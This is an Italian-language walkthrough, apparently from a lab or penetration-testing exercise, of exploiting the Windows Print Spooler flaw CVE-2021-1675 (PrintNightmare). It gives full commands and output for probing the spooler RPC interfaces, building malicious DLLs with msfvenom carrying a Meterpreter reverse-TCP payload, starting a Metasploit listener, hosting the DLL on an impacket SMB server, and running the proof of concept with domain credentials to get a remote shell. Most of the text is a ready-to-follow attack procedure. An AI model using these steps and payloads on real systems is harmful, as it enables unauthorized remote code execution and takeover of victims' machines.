
Exploit proof-of-concept per CVE-2021-1675 (PrintNightmare) che prende di mira Windows Print Spooler. Utilizza una DLL dannosa generata con msfvenom e consegnata via SMB per ottenere esecuzione remota di codice e reverse shell Meterpreter.
Lo Spooler di stampa è un servizio Windows che gestisce le code di stampa. Riceve i processi di stampa inviati dall'utente, li converte in un formato che la stampante comprende e li invia quando la stampante è disponibile. Viene eseguito come servizio di sistema (spoolsv.exe) con privilegi elevati, rendendolo un bersaglio frequente di attacchi, come la vulnerabilità PrintNightmare.
Quando un attaccante cerca di sfruttare lo spooler di stampa da remoto, per verificare se un host è vulnerabile alla falla PrintNightmare, possiamo usare uno strumento chiamato rpcdump.py che fa parte del pacchetto impacket, un insieme di strumenti ampiamente utilizzati nell'ambiente del penetration testing.
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Per sfruttare questa vulnerabilità, il metodo di distribuzione di questo exploit è una DLL dannosa. Questo metodo, noto anche come sfruttamento "fileless", ci consente di bypassare la maggior parte delle protezioni di sistema, come i software antivirus. In questo attacco, inganneremo il servizio spooler di stampa facendogli installare un nuovo driver da un percorso UNC e caricarlo. Nel nostro caso, questa è la DLL dannosa, che ci fornirebbe una reverse shell verso il computer attaccante. Per creare la DLL dannosa, userò "msfvenom" e, a seconda dell'architettura su cui ci troviamo, integreremo un payload Windows x64 o x86 nella DLL, fornendo l'host locale e la porta locale, dove avvieremo un listener per un callback dalla DLL. Puoi trovare l'indirizzo IP della tua macchina digitando "ifconfig". Useremo il seguente comando per creare la nostra DLL dannosa.
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
E se invece la nostra architettura fosse a 32 bit, useremmo questo payload
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
Ora che abbiamo creato la nostra DLL dannosa, dobbiamo avviare il nostro listener su “Metasploit Framework” per ottenere la shell ‘Meterpreter’ quando la DLL viene eseguita sul sistema. Per avviare il listener, segui i passaggi seguenti. Alla fine digita 'exploit -j' per avviare il listener in background.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
Ora che abbiamo avviato il nostro ricevitore, avviamo il nostro server SMB per ospitare il file DLL dannoso. Vai nel percorso di sistema in cui abbiamo salvato il file DLL e inserisci il seguente comando per avviare il server SMB. Prima di farlo, assicurati di avere "Impacket" installato sul tuo computer. Impacket è una raccolta di moduli open-source scritti in Python, e uno di questi è smbserver.py, che è quello che useremo in questo caso. Per avviare lo script smbserver.py e ospitare il file DLL dannoso, inserisci il seguente comando nella directory in cui lo abbiamo salvato, nel mio caso /home/ghost/Pentesting/Printer/.
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Ottimo, ora siamo pronti per iniziare il processo di sfruttamento utilizzando il proof-of-concept (POC) CVE-2021–1675. Per fare ciò, forniamo il controller di dominio e le credenziali utente, insieme al percorso UNC della DLL dannosa ospitata sul nostro sistema.
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
Dopo alcuni secondi dall'esecuzione dello script di exploit, se torniamo al listener che abbiamo avviato in 'Metasploit', vediamo che ha aperto una sessione 'Meterpreter', quindi ora possiamo interagire con la macchina vittima usando la 'Meterpreter shell'.